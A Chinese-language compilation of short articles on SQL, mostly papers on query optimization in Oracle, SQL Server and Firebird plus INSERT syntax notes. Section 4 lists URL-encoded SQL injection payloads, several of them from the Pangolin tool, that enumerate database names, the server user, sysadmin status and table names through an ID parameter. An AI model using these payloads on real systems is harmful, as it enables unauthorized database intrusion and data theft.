简单的SQL语句(共10篇)
1.简单的SQL语句 篇一
-07-07SQLServer 快速备份的十种方法
-02-02二种sql分页查询语句分享
-10-10SQL Server Bulk Insert 只需要部分字段时的方法
-12-12实例学习SQL的Select命令
-01-01sqlserver获取各种形式的时间
-06-06sqlserver数据库中的表、字段sql语句
2010-11-11sqlserver中更改数据库所属为dbo的方法
2011-06-06数据库更新Sqlserver脚本总结
2013-01-01常用SQL语句(嵌套子查询/随机等等)详细整理
-03-03LINQ to SQL:处理char(1)字段的方式会引起全表扫描问题
2.简单的SQL语句 篇二
关键词:SQL语句,优化,策略
在数据库应用系统中, 其性能受多方面的限制, 如操作系统、数据库管理系统以及前端开发工具等都有很大的影响。而对于基于WEB的应用, 最终用户和顾客合二为一, 是同一个对象。性能管理就该从最终用户需求出发, 目标应该是保证关键事务的性能需求以简单的消耗时间来得到定义。而从大多数数据库应用系统的实例来看, 相对于数据库其他操作, 查询操作占的比重最大, 是最为重要的一部分。查询优化也就有着非常重要的地位。高效的查询能极大的提高系统的性能。科学合理地构造查询系统, 是成功开发数据库应用系统非常重要的环节。为了优化数据库的性能, 除了在数据库的物理设计, 关系规范化等方面进行改进外, 还有一个简单有效的方法就是提高查询响应速度。本文结合数据库理论, 并以信息管理系统为例, 就查询优化必要性及如何进行数据库查询优化的策略进行探讨。
1 SQL处理过程及基本概念
SQL语句处理过程主要包括以下步骤。
(1) 语句编译。
语句解析首先会检验SQL语句的语法, 并将该语句拆散成片段。查询改写则使用明确定义变换和等价技术把语句片段重新整理, 为下一阶段优化做好准备。
(2) 语句优化。
优化器会根据数据字典自动选择优化方式。如果数据字典中有访问表的统计信息, 将基于开销的优化方法 (CBO) , 并获得最佳的吞吐量;如果没有, 将基于规则的优化方法 (RBO) 。
(3) 数据生成。
根据优化方法产生的执行计划查找物理空间, 对数据处理并返回结果集。
1.1 数据字典
数据字典中有访问表的统计信息大致有以下内容。
(1) 表信息统计。
包括记录的数量, 数据块的数量, 平均的记录大小等。
(2) 字段信息统计。
包括列的数值统计, 列的空值数量, 数据分布等。
(3) 索引信息统计。
包括索引树上叶节点统计, 索引的深度, 簇聚等特殊属性统计等。
(4) 系统信息统计。
包括存储的性能, 处理器的性能等。
1.2 数据访问方式
对于表中数据的访问, 数据库可能有三种访问方式:全表扫描, 根据索引扫描以及根据记录的唯一标识检索。全表扫描会访问表中所有的记录, 适合用于大数据量的查询。索引扫描会根据某个索引先定位记录的物理地址, 再根据这个地址来访问数据。唯一标识检索这种方式很少会被直接用到, 需要先知道记录的物理地址。
1.3 表的连接方式
如果SQL语句中访问表的数据多于1个, 就会涉及到表与表之间连接的选择, 包括表的访问次序, 以及表与表数据的连接方式。数据库一般会先选择有强过滤条件的表作为驱动表, 用其查询的结果集和其他的表做关联。连接的方式主要有以下几种。
嵌套循环连接 (Nested loops join) 。
哈希表连接 (Hash join) 。
顺序合并连接 (Sort merge join) 。
聚簇连接 (Cluster Join) 。
嵌套循环连接和哈希表连接是常用的两种连接方式, 一般嵌套循环连接在结果集数据量较小时效率较高, 而哈希表连接则在结果集数据量较大时效率较高。
1.4 执行计划及Hint
执行计划就是SQL语句的执行过程, 包括表的访问方式, 不同表的连接方式, 以及表的执行顺序。一般数据库会选择最优的执行计划, 但有些情况, 程序员或数据库管理员更清楚数据的最佳访问方案, 在这样的特殊情况下, 可以使用提示 (Hint) , 强制让SQL优化器按照提示的方式访问数据。
需要注意的是, 使用提示不是太好的习惯, 会给带来大量的维护成本, 尽量依靠统计信息来让执行计划走对才是最优的选择。常用的提示如下表。
1.4.1 访问路径的Hints
(1) FULL:对表选择全局扫描的方法。
(2) INDEX:对表选择索引的扫描方法。
(3) INDEX_FFS:对指定的表执行快速全索引扫描, 而不是全表扫描的办法。
1.4.2 连接顺序的Hints
(1) ORDERED:根据表出现在from中的顺序, 使数据库依此顺序对其连接。
(2) LEADING:将指定的表作为连接次序中的首表。
1.4.3 连接方式的Hints
(1) USE_HASH:将指定的表与其他行源通过哈希连接方式连接起来。
(2) USE_MERGE:将指定的表与其他行源通过合并排序连接方式连接起来。
(3) USE_NL:将指定表与嵌套的连接的行源进行连接, 并把指定表作为内部表。
1.4.4 并行处理的Hints
(1) PARALLEL:可指定并行方式访问数据。
(2) PARALLEL_INDEX:可指定并行方式通过索引访问数据。
1.4.5 查询结果转换的Hints
(1) MERGE:能够对视图的各个查询进行相应的合并。
(2) USE_CONCAT:对查询中的WHERE后面的OR条件进行转换为UNION ALL的组合查询。
1.4.6 其他Hints
(1) APPEND:直接插入到表的最后, 使用并行模式来提高速度。
(2) NOAPPEND:通过在插入语句生存期内停止并行模式来启动常规插入。
(3) CACHE:当进行全表扫描时, CACHE提示能够将表的检索块放置在缓冲区缓存中最近最少列表LRU的最近使用端。
2 SQL查询语句优化策略
SQL查询语句优化的最终目的就是在条件允许的时间内得到正确的查询结果。一般可以从多个方面入手, 如编译器, 执行计划以及数据生成的角度, 在不同层面对查询等进行优化。
2.1 从编译器角度优化
2.1.1 使用绑定变量
由于SQL执行的过程中首先要进行分析, 如果数据库的缓存中存在对应的SQL语句就会直接提取该语句进行执行操作, 避免分析过程从而提高语句执行的效率, 同时也减少数据库的缓存空间。所以应尽量使用绑定变量方式对SQL进行操作。
对于数据分布均匀的列, 一定要使用绑定变量 (示例1-b) ;对于数据分布不均匀的列, 使用直接拼接变量 (示例1-a) 比绑定变量好。
示例1 a:拼接变量
示例1 b:绑定变量
2.1.2 使用表的别名
当在SQL语句中连接多个表时, 使用表的别名, 并将之作为每列的前缀。这样可以减少解析时间。
2.1.3 Select语句中避免使用‘*’
当你想在Select语句中列出所有的列时, 使用‘*’虽然很方便, 但也是一个非常低效的方法。数据库在解析过程中, 会将‘*’依次转换成所有的列名, 这个工作是通过查询数据字典完成的, 这意味着将耗费更多的时间。
2.2 从执行计划角度优化
索引是优化查询中最常用和重要的。在关系数据库系统中, 应避免不必要的全表扫描。而在表上建立合适的索引, 从而改变了对数据的访问路径, 就可以通过访问索引的方式获得记录的物理位置, 避免因全表扫描而造成的I/O开销, 达到访问表的目的。但创建索引也会增加系统的时空开销, 因此必须要与实际查询需求紧密结合, 才能达到查询优化的目的。
2.2.1 建立索引的原则
(1) 两表间的关联字段上常建索引。
(2) 对于多列排序的, 可在列上建立复合索引, 但复合索引应尽量少用。
(3) 避免高重复率字段建索引。
(4) 对于频繁进行GROUP BY或OR-DER BY操作列上建立索引。
(5) 对不同值较少的列上不需建立索引
(6) 对于大批量数据记录的插入及删除, 首先删除索引, 再进行数据的操作, 操作完成后再重建必要的索引。
2.2.2 使用索引的注意事项
(1) 条件中避免对表有索引的字段进行函数操作, 除非该字段有对应的函数索引, 否则数据库将做全表扫描。
示例2 a:全表扫描
示例2 b:使用索引
(2) 条件里的常量需要按数据类型写明确, 避免数据库隐含数据转换, 导致无法使用索引。
示例3 a:原始SQL (status的数据类型为字符型)
示例3 b:隐含数据转换后的SQL
(3) 对有索引的字段进行not in, is null, is not null, <>, !=等操作时, 数据库不会使用索引而执行全表扫描。可以考虑在设计表时, 对索引列设置为not null。这样就可以用其他操作来判断。
2.3 用union替换or (适用于索引列)
通常情况下, 用union替换条件中的or将会起到较好的效果。对索引列使用or将造成全表扫描。
2.4 选择正确的驱动表和驱动索引
随着SQL语句中表个数的增加, 查询的开销会成几何级数增加。而第一个表的结果集大小决定了所有开销的基数, 所以正确的选择驱动索引对性能优化具有决定性的作用。
(1) 从数据角度优化。
(1) 使用union all代替union。
union:会对结果进行筛选, 消除重复, 数据量大的情况下可能会引起磁盘排序。
union all:不会对结果集做任何处理, 效率更高。当明确知道不同union字句的结构集记录不会有重复, 或者最终结果集不要求合并重复记录时, 使用union all。
2.5 尽量使用内部函数
系统提供的内部函数可以满足用户大部分的操作, 而且不同的数据库也会有一些特殊的函数。在功能相同的情况下, 函数应该是最优的实现。另外使用函数也可以使语法更简洁、易读。
2.6 网络性能的优化
通常信息管理系统中, 客户端和服务器是通过广域网来连接的, 因此网络延迟时间也成为影响客户端响应时间的因素之一。在客户端尽量采用批量处理请求, 也可以减少信息往返服务器的次数, 达到优化的目的。
3 结语
本文中所提到的性能优化方法都是作者在查阅了大量文献资料, 并在实际经验中总结出来的。这些优化策略的确可以在一定程度上提高SQL语句的执行效率。但实际情况千差万别, 在具体使用这些方法时, 要根据情况合理地选择优化策略, 这样才能根据应用系统的特点, 充分发挥数据库的高效功能, 为应用程序提供高性能的服务。
参考文献
[1]盖国强, 冯春培, 叶梁, 等.Oracle数据库性能优化[M].北京:人民邮电出版社, 2005, 6.
[2]童家旺, 胡怡文, 冯大辉[译].Oracle性能诊断艺术[M].北京:人民邮电出版社, 2009, 10.
3.简单的SQL语句 篇三
关键词 SQL语句优化 绑定变量 物化视图
中图分类号:TP312 文献标识码:A
SQL语言由IBM实验室的Donald Chamberlin及其同事在1974年定义,被称为结构化查询语言(Structured Query Language),现在SQL语言已经形成了标准的应用和开发体系。
1 SQL语句的使用
虽然很多数据库都对SQL语句进行了再开发和扩展,但是包括SELECT, INSERT, UPDATE, DELETE以及MERGE在内的标准的SQL命令仍然可以被用来完成几乎所有的数据库操作。
SELECT查询语句用来从一个或多个表中或者其他数据库对象中提取数据。SELECT 查询的一般格式是
5 select {[distinct|all] columns | *}
1 from {tables | views | other select}
2 where conditions
3 group by columns
4 having conditions
6 order by columns;
其中,每行代码前的数字表示了SELECT语句在ORACLE执行顺序。在执行查询语句时是由ORACLE的基于成本的优化器(cost-based optimizer,CBO)来负责编译的,因此SELECT查询语句的执行顺序和我们的逻辑思维有所不同。从执行顺序可以直观的看出,减少FROM语句涉及到的数据源数量,可以大幅减少数据访问量,增加SELECT查询语句的执行速度。
2 硬解析与软解析
为了不重复解析相同的语句,在每一次执行SQL语句前ORACLE会去检查内存中是不是存在相同的语句。在第一次解析SQL语句之后,ORACLE将SQL语句存放在系统全局内存区域SGA中。因此,当用户执行一个SQL语句时,如果它和之前执行过得语句完全相同,ORACLE会将取回之前的解析信息并重用,这种解析类型被称为软解析。相反的,如果之前没有执行过完全相同的语句,ORACLE会将它解析执行并把解析信息存入SGA中便于以后重用,这种解析类型被称为硬解析。不难看出,当数据块在内存中缓存时的访问速度要大于通过OS获取数据块的访问速度。
3 绑定变量的使用
一个硬解析不仅仅耗费大量的系统资源,更重要的是会占据重要的们闩(latch)资源。当一个SQL语句提交后,ORACLE会首先检查一下共享缓冲池(shared pool)里有没有与之完全相同的语句,如果有的话只须执行软解析即可,否则就得进行硬解析。有以下两条SQL语句:
SQL>select * from emp where deptno=10;
SQL>SELECT * FROM EMP WHERE DEPTNO=10;
这两条语句返回的结果集是完全相同的,也就是说对于用户来说这两条语句执行结果是相同的。现在来对v$sql表1进行查询。
从返回的结果可以发现,尽管这两条语句的结果是相同的,但是ORACLE认为它们是不同的。这是由于在执行SQL语句时,ORACLE首先将该语句字符的散列值作为它存放在SGA中的主键。当执行其他语句时,ORACLE会将执行语句的散列值与内存中现有的散列值一一比较。在执行字符转换散列值时,大写字母与小写字母产生的散列值是不同的。当使用绑定变量时,即使用户改变了绑定变量的值,ORACLE还是可以共享这个语句。
参考文献
[1] 尹萍.SQL Server数据库性能优化[J].计算机应用与软件,2005(4).
[2] 胡江奕.基于SQL Server的数据库应用系统性能的优化[J],2001,37(2).
4.SQL注入语句 篇四
ID=1458%20and%20db_name%28%29%3D0数据库名
ID=1458%20and%20@@servername%3D0服务器名
ID=1458%20and%20system_user%3D0系统用户名
D=1458%20and%20user%3D0权限/DBOORPUBLIC
ID=1458%20and%20quotename%28is_srvrolemember%280x730079007300610064006D0069006E00%29%29%3D0是否sysadmin,1是0否
ID=1458%20and%20quotename%28db_name%281%29%29%3D0判断数据库
ID=1458%20and%20quotename%28db_name%282%29%29%3D0
ID=1458%20and%20quotename%28db_name%283%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2032%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
ID=1458%20and%20%28select%20top%201%20quotename%28name%29%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%20AND%20name%20not%20in%20%28select%20top%2033%20name%20from%20Digicom.dbo.sysobjects%20where%20type%3Dchar%2885%29%29%29%3D0
解密之后就是:
ID=1458and(selecttop1quotename(name)fromDigicom.dbo.sysobjectswheretype=UANDnamenotin(selecttop33namefromDigicom.dbo.sysobjectswheretype=U))=0
下面是pangolin的:
/add_item.asp?ID=1458%20and%200<(select%20top%201%20cast([name]%20as%20nvarchar(4000))%2bchar(94)%2bcast([filename]%20as%20nvarchar(4000))%20from(select%20top%20%201%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--%20and%201=1
5.sql数据添加语句 篇五
(1)单行INSERT语句
单行INSERT语句用于向一关系表中添加一行新数据。其使用格式如下:
INSERT INTO <表名>(列名列表)表名>
VALUS (列值列表)
其中,列值列表中的各数值顺序与列名列表中的各列名相互对应。
(2)多行INSERT语句
多行INSERT语句用于向一关系表中添加若干行新数据,其使用格式如下:
INSERT INTO <表名>(列名列表)表名>
(SELECT语句)
例9:将订单表中1月1日前的订单编号、日期和订购数量保存到另一关系表OLDORDERS中,
INSERT INTO OLDORDERS
(ORDER_NUM,ORDER_DATE,AMOUT)
SELECT ORDER_NUM,ORDER_DATE,AMOUNT
FROM ORDERS
WHERE ORDER_DATE<“01-JAN-99”
这里需要说明的是,在多行INSERT语句中,其数据来源是一个SELECT查询语句的结果。即多行INSERT语句与数据库内容的复制功能类似。其中SELECT查询语句的结果中列的顺序与列名列表中各列名相互对应。
参考资料:sql语言教程 Sql语言基础
6.简单的SQL语句 篇六
因为后面的条件对列值进行了计算。这样的条件下优化器无法使用索引 而是要针对所有值进行计算之后才能再比较
2.尽量使用和数剧列一样的值进行操作
如果col1是数值型
那么例如where col1 = 2和where col1= ‘2′
则前者效率更高
因为比较字符和数值型的时候
引擎需要把两者都转化成双精度然后进行比较
3.减少函数的使用
例如where col1 >= ‘2009-10-26′ and col1 <= ‘2009-10-27′
和where datediff(day,col1,getdate())=0
后者因为用到函数处理。所以col1上的索引又无法使用了
4.尽量不要用OR
一般对于OR的条件
7.简单的SQL语句 篇七
数据库最常见的优化手段是对硬件的升级,据统计,对网络、硬件、操作系统、数据库参数进行优化所获得的性能提升,全部加起来只占数据库系统性能提升的40%左右,其余的60%系统性能提升来自对应用程序的优化。应用程序的优化分为源代码和SQL语句优化。由于涉及对程序逻辑的改变,源代码的优化在时间成本和风险上代价很高,而对数据库性能提升收效有限。SQL语句在执行中消耗了70%~90%的数据库资源,对SQL语句进行优化不会影响程序逻辑,而对于SQL语句的优化成本较低、收益却比较高,所以对SQL语句进行优化改进,对于提高数据库性能和效率是非常有必要的。
2 分析SQL优化问题
许多程序员认为查询优化与编写的SQL语句关系不大,这是错误的认识,一个好的SQL查询语句往往可以使程序性能提高数十倍,同时减轻数据库服务器的承载压力。实际应用程序开发过程中还是以用户提交的SQL语句作为系统优化的基础,很难设想一个原本糟糕的SQL查询语句经过系统的优化之后会变得高效.查询优化技术在关系数据库系统中有着非常重要的地位,关系数据库系统和非过程化的SQL语言能够取得巨大的成功,关键是得益于查询优化技术的发展。从本质上讲。用户希望查询的运行速度能够尽可能地快,无论是将查询运行的时间从10分钟缩减为1分钟,还是将运行的时间从2秒缩短为1秒钟,最终的目标都是减少运行时间。由于应用程序可能生成非常复杂的SQL语句,查询优化程序必须精心构建、功能强大,以保障良好的执行性能。查询优化程序可转换SQL语句。使复杂的语句转换成为等价的但执行性能更好的SQL语句。
3 SQL语句优化策略
本文以关系数据库系统Fire Bird为例,结合数据库理论,以实际软件开发过
程中的实例为说明,介绍了SQL语句优化技术在现实系统中的运用。
3.1 索引原理
索引是一个单独的、物理的数据库结构.Fire Bird数据库以及其他大型的关系式数据库引擎,都具备各式索引功能。
建立索引的优点:
1)大大加快数据的检索速度,提高数据库执行效率。
2)创建唯一性索引,保证数据库表中每一行数据的唯一性;
3)在表与表之间建立关联字段索引,加速表和表之间数据访问连接速度;
4)对频繁进行GROUPBY(分组)或ORDERBY(排序)操作的表结构字段建立索引。
以实际ERP项目开发中服装加工数据为例,一张为服装入库表:fz_rk(批号、服装单号、加工人员)约5000条记录,另一张为服装出库表:fz_ck(批号、服装单号、加工人员)约6000条记录,现要查看相同服装单号的入出库加工人员信息并对服装单号排序,SQL执行语句:
select o.bh,o.xm rk,p.xm ck from fz_rk oleft join fz_ck p on(p.bh=o.bh)order by o.bh,以服装单号字段作为为表结构索引,现将未建索引和建立索引后的数据分析如下:
从表中数据知,在相同情况下执行相同SQL语句查询,索引优化不管是占用CPU内存还是缓存数据读取,性能都有大幅度的提升,执行时间更是呈几何级速度下降,数据库查询效率得到明显的提高。
3.2 把对视图的访问转换为对基本表的访问
视图是关系数据库系统提供给用户以多种角度观察数据库中数据的重要机制,利用视图可以大大简化用户的工作。本人在程序开发初期也创建过较多的视图简化工作量,但是从查询优化的角度来看,视图则不利于查询效率的提高。SQL语言是一个描述性的非过程化语言,用户在写SQL语句时,不用知道需要操作的数据具体是如何存放以及按照什么步骤进行处理,查询处理器会自动完成这些工作。但是,查询语句操作的数据库对象除了基本表以外,还可能是视图。如果查询处理器直接对视图进行操作,查询优化器所能生成的执行计划是先执行视图定义,这种处理方式在绝大多数情况下效率极低(大数据量的话效率更低)。因此,在优化查询速度上,应尽量避开使用视图,将对视图的引用转换为对视图所涉及的基本表的引用,从而得到一个功能上完全等价的SQL语句查询,重写后的查询效率性能上肯定比原先创建的视图提高了很多倍。
还是以上表为例作分析,创建视图:
create view v_rck(bh,rk,ck)as select o.bh,o.xm rk,p.xm ck from fz_rk oleft join fz_ck p on(p.bh=o.bh)如果直接对视图数据进行查询,select*from v_rck,6000条数据记录查询时间将近32ms,如果创建相同表结构进行存储数据后直接对表数据进行查询,则时间在16ms左右,如果数据集容量扩大至十万、百万级,则数据库查询中以表代替视图SQL语句的执行效率会越来越明显。
3.3 调用存储过程实现程序优化
一般的,Fire Bird数据库存储过程可划分为两大类:一类是选择式存储过程,返回一个数据集,可以直接用select语句调用存储过程;另一类是执行式存储过程,它不返回数据集,使用Execute Procedure来调用存储过程。下面以选择式存储过程用法来举例说明:在阳光纺织ERP项目开发过程中,品种贯穿整个生产流程的始终,如果要分析某个品种的成分信息,品种中不同的字母代表生产流程中不同的工艺、不同的生产要求,则核算成本价格也不同,如果在程序执行时每次都对该数据库品种字段进行循环调用处理分析,则会严重影响执行数据库执行效率。在此利用Fire Bird数据库选择式存储过程的优点,定义如下:
在此定义了一个pz_fx品种分析存储过程,只需在SQL语句中调用该定义的存储过程即可分析表中品种字段的不同成分信息.select a.ph,case when(select r from pz_fx(a.ph,’H'))<>''then a.ph end ph from jh_ph a group by a.ph
4 SQL语句优化等价变换
SQL语句查询优化重写的首要目的是将查询结果转化为效率更高的执行方式,通过等价变换,最大限度发挥服务器性能,提高用户查询速度和效率。
1)尽量避免使用<>、or、is not null、in、not in、like等这样的操作符。
这些操作符会使系统无法使用索引,而只能直接搜索全表中的数据,大大影响执行效率。例如:select ph from jh_ph Where ph like‘%37200%’如果使用该前后包含SQL语句,将对表中25万条记录逐个比对分析,效率极低,运行时间大概5s,而如果在数据表中添加一个数字品种字段phsz,预先分离数字信息,换成如下方式查询,则效果会非常好:select ph from jh_ph where phsz=‘37200’,执行时间大概30ms左右,大大提高了运行速度。
2)尽量避免在Where子句中对字段进行函数或表达式操作。
Select ph from jh_ph here substring(ph from 1 for 4)=‘ABCD’
等价于:Select ph from jh_ph where ph like‘ABCD%’执行效率要高于上一表达式。
3)数据查询读取中exists和union执行效率的比对:
入库表cp_rk,5万数据记录(ph,sl)出库表cp_ck,8万数据记录(ph,sl).
select ph,sum(rk)rk,sum(ck)ck from(select o.ph,sum(o.sl)rk,0ck from cp_rk o
where exists(select ph from cp_ck p where id=o.id)group by o.ph union allselect o.ph,0,sum(o.sl)ck from cp_ck owhere exists(se⁃lect ph from cp_rk p where id=o.id)group by o.ph)group by ph.以exists语句统计成品入出库表中品种的产量,执行时间接近3s,改写后SQL语句:select o.ph,sum(o.sl)rk,sum(p.sl)ck from cp_rk oleft join cp_ck p on(p.id=o.id)group by o.ph.执行结果和第一种方法结果完全一致,执行时间20ms,语句简洁明了,执行效率大大提高。
上面所举三个SQL语句等价交换例子,有针对性的反应出了Fire Bird数据库在SQL语句编写上的一些规则,每条规则提高的效率可能不太明显,但如果查询语句的WHERE条件同时使用多条规则关联,在数据量比较大,嵌套使用SQL语句执行时,效率提高将非常可观,这也是SQL语句优化的本质所在。
5 结束语
在数据库的开发和维护中,查询的优化设计可以提高系统性能,特别对于经常要用于查询数据量大的数据库系统更显得重要.SQL语句查询优化的实质就是在确保结果正确的前提下,用优化器可以识别的语句,充分利用索引,尽量减少、避免表搜索的循环发生,提高数据库执行效率,实现快速、高效的数据查询和应用分析,同时也使硬件资源得到最充分的发挥。
摘要:数据库是计算机信息管理系统的核心部分,必不可少的。该文主要分析了基于FireBird数据库的SQL语句优化技术,通过实例进行优化技术前后性能指标的分析与总结,阐述了SQL语句的优化对数据库系统性能的改善和提升起到了重要的作用。
关键词:FireBird,数据库,SQL语句,优化
参考文献
[1]徐雷.Firebird数据库及其开发应用[J].软件技术,2004(7).
[2]郭忠南,孟凡荣.关系数据库性能优化研究[J].计算机工程与设计,2006,27(23).
[3]张敏.SQL语句优化研究[J].现代电子技术,2010(4).
8.简单的SQL语句 篇八
关键词:SQL;Oracle;优化
中图分类号:TP311 文献标识码:A文章编号:1007-9599 (2011) 08-0000-02
SQL Optimization&Analyze in Oracle Database
Wang Yue
(CNOOC Gas&Power Group,Beijing100027,China)
Abstract:Executing each SQL statement,Oracle have to implement many steps.Each stepmay be physically retrieve data from the database row or rows of data in some way prepared.The statement where the Oracle used to execute those statements of combination of these steps is called an execution plan.execution plan is the most complex and most critical part in optimization of SQL,only know how Oracleinternally execute SQL statement,we can confirm that the execution plan where the optimizationr selected as suitable or not.
Keywords:SQL;Oracle;Optimization
一、引言
执行每个SQL语句,Oracle需要实现很多步骤。Oracle用来执行语句的这些步骤的组合被称之为执行计划。执行计划是SQL优化中最为复杂也是最为关键的部分,只有知道了Oracle在内部到底是如何执行该SQL语句后,我们才能知道优化器选择的执行计划是否为最优的。如何分析执行计划,从而找出影响性能的主要问题。下面先从分析SQL语句执行步骤开始介绍,再介绍如何分析执行计划。优化器有时也被称为查询优化器,这是因为查询是影响数据库性能最主要的部分,优化器是所有关系数据库引擎中的最神秘、最富挑战性的部件之一,从性能的角度看也是最重要的部分,它性能的高低直接关系到数据库性能的好坏。
二、Oracle的优化规则
(一)什么是优化
优化是选择最有效的执行计划来执行SQL语句的过程,这是在处理任何数据的语句(SELECT,INSERT,UPDATE或DELETE)中的一个重要步骤。对Oracle来说,执行这样的语句有许多不同的方法,譬如说,将随着以什么顺序访问哪些表或索引的不同而不同。所使用的执行计划可以决定语句能执行得有多快。Oracle中称之为优化器(Optimizer)的组件用来选择这种它认为最有效的执行计划。由于一系列因素都会影响语句的执行,优化器综合权衡各个因素,在众多的执行计划中选择认为是最佳的执行计划。然而,应用设计人员通常比优化器更知道关于特定应用的数据特点。这是需要人工干预数据库优化的主要原因。
看下面这个SQL(pro*c):
EXEC SQL UPDATE employees
SET salary=1.10*salary
WHERE department-id=var-department-i
Oracle把它分成下列步骤来执行:
第1步:Create a Cursor
第2步:Parse the Statement
第3步:Describe Results of a Query
第4步:Define Output of a Query
第5步:Bind Any Variables
第6步:Parallelize the Statement
第7步:Run the Statement
第8步:Fetch Rows of a Query
第9步:Close the Cursor
下面来详细分析这些步骤:
第1步:Create a Cursor
由程序接口调用创建一个游标。任何SQL语句都会创建它,特别在运行DML语句时,都是自动创建游标的,不需要开发人员干预。多数应用中,游标的创建是自动的。而在预编译程序(pro*c)中游标的创建,可能是隐含的,也可能显式的创建。在存储过程中也是这样的。
第2步:Parse the Statement
语法分析分别执行下列操作:翻译SQL语句,验证它是合法的语句,即书写正确。实现数据字典的查找,以验证是否符合表和列的定义,在所要求的对象上获取语法分析锁,使得在语句的语法分析过程中不改变这些对象的定义,验证为存取所涉及的模式对象所需的权限是否满足。
第3步:Describe Results of a Query
描述阶段只有在查询结果的各个列是未知时才需要;例如,当查询由用户交互地输入需要输出的列名。在这种情况要用描述阶段来决定查询结果的特征(数据类型,长度和名字)。
第4步:Define Output of a Query
在查询的定义阶段,你指定与查询出的列值对应的接收变量的位置、大小和数据类型,这样我们通过接收变量就可以得到查询结果。如果必要的话,Oracle会自动实现数据类型的转换。这是将接收变量的类型与对应的列类型相比较决定的。
第5步:Bind Any Variables
在该例中,Oracle需要得到对department-id列进行限定的值。得到这个值的过程就叫绑定变量(binding variables)决定此语句最佳的执行计划将它装入共享SQL区对分布的语句来说,把语句的全部或部分路由到包含所涉及数据的远程节点
第6步:并行执行语句(Parallelize the Statement)
并行化可以导致多个服务器进程(oracle server processes)为同一个SQL语句工作,使该SQL语句可以快速完成,但是会耗费更多的资源,所以除非很有必要,否则不要使用并行查询。
第7步:Run the Statement
Oracle拥有所有需要的信息与资源,因此可以真正运行SQL语句了。如果该语句为SELECT查询或INSERT语句,则不需要锁定任何行,因为没有数据需要被改变。
第8步:Fetch Rows of a Query
在fetch阶段,行数据被取出来,每个后续的存取操作检索结果集中的下一行数据,直到最后一行被取出来。上面提到过,批量的fetch是优化的技巧之一。
第9步:Close the Cursor
SQL语句处理的最后一个阶段就是关闭游标
(二)Oracle的优化器
优化器有时也被称为查询优化器,这是因为查询是影响数据库性能最主要的部分,不要以为只有SELECT语句是查询。实际上,带有任何WHERE条件的DML语句中都包含查询要求。在ORACLE的发展过程中,一共开发过2种类型的优化器:基于规则的优化器和基于代价的优化器。这2种优化器的不同之处关键在于:取得代价的方法与衡量代价的大小不同。现对每种优化器做一下简单的介绍:RBO(rule base optimization)基于规则和CBO(cost base optimization)基于成本。
三、SQL执行计划
(一)分析执行计划
假定A、B、C都是不是小表,且在A表上一个组合索引:A(a.col1,a.col2),注意a.col1列为索引的引导列。考虑下面的查询:
select A.col4
from A,B,C
where B.col3=10 and A.col1=B.col1 and A.col2=C.col2 and C.col3=5
Execution Plan
----------------------------------------------------------
0 SELECT STATEMENT Optimization=CHOOSE
1 0 MERGE JOIN
2 1 SORT(JOIN)
3 2 NESTED LOOPS
4 3 TABLE ACCESS(FULL)OF'B'
5 3 TABLE ACCESS(BY INDEX ROWID)OF'A'
6 5 INDEX(RANGE SCAN)OF'INX_COL12A'(NON-UNIQUE)
7 1 SORT(JOIN)
8 7 TABLE ACCESS(FULL)OF'C'
Statistics
----------------------------------------------------------
0 recursive calls
8 db block gets
6 consistent gets
0 physical reads
0 redo size
551 bytes sent via SQL*Net to client
430 bytes received via SQL*Net from client
2 SQL*Net roundtrips to/from client
2 sorts(memory)
0 sorts(disk)
6 rows processed
执行计划:
Execution Plan
----------------------------------------------------------
0 SELECT STATEMENT Optimization=CHOOSE
1 0 MERGE JOIN
2 1 SORT(JOIN)
3 2 NESTED LOOPS
4 3 TABLE ACCESS(FULL)OF'B'
5 3 TABLE ACCESS(BY INDEX ROWID)OF'A'
7 1 SORT(JOIN)
8 7 TABLE ACCESS(FULL)OF'C'
看执行计划时,我们的关键不是看哪个操作先执行,哪个操作后执行,而是关键看表之间连接的顺序(如得知哪个为驱动表,这需要从操作的顺序进行判断)、使用了何种类型的关联及具体的存取路径(如判断是否利用了索引)在从执行计划中判断出哪个表为驱动表后,根据我们的知识判断该表作为驱动表(就像上面判断ABC表那样)是否合适,如果不合适,对SQL语句进行更改,使优化器可以选择正确的驱动表。
(二)干预执行计划
基于代价的优化器是很聪明的,在绝大多数情况下它会选择正确的优化器,减轻了DBA的负担。但有时它也聪明反被聪明误,选择了很差的执行计划,使某个语句的执行变得奇慢无比。此时就需要进行人为的干预,告诉优化器使用我们指定的存取路径或连接类型生成执行计划,从而使语句高效的运行。例如,如果我们认为对于一个特定的语句,执行全表扫描要比执行索引扫描更有效,则我们就可以指示优化器使用全表扫描。在ORACLE中,是通过为语句添加hints(提示)来实现干预优化器优化的目的。
hints是Oracle提供的一种机制,用来告诉优化器按照我们的告诉它的方式生成执行计划。我们可以用hints来实现:
1.使用的优化器的类型。
2.基于代价的优化器的优化目标,是all-rows还是first-rows。
3.表的访问路径,是全表扫描,还是索引扫描,还是直接利用rowid。
4.表之间的连接类型
5.表之间的连接顺序
6.语句的并行程度
除了“RULE”提示外,一旦使用别的提示,语句就会自动的改为使用CBO优化器,此时如果你的数据字典中没有统计数据,就会使用缺省的统计数据。所以建议大家如果使用CBO或HINTS提示,则最好对表和索引进行定期的分析。
Hints只应用在它们所在sql语句块(statement block,由select、update、delete关键字标识)上,对其它SQL语句或语句的其它部分没有影响。如:对于使用union操作的2个sql语句,如果只在一个sql语句上有hints,则该hints不会影响另一个sql语句。我们可以使用注释(comment)来为一个语句添加hints,一个语句块只能有一个注释,而且注释只能放在SELECT,UPDATE,DELETE关键字的后面,如果你没有正确的指定hints,Oracle将忽略该hints,并且不会给出任何错误。
参考文献:
[1]盖国强,冯春培,叶梁等.Oracle数据库性能优化(第4版)[M].北京:人民邮电出版社,2005
[2]阿弗尤尼,吴越胜,张耀辉等.Oracle 9i数据库性能调整与优化[M].北京:清华大学出版社,2005
9.标准SQL语句注意事项 篇九
(暂适用于sqlserver,sybase,db2的odbc的接口)
1. INSERT 语句
写法为 :INSERT INTO 表名(字段,….)VALUES(值,….)
2. DELETE 语句
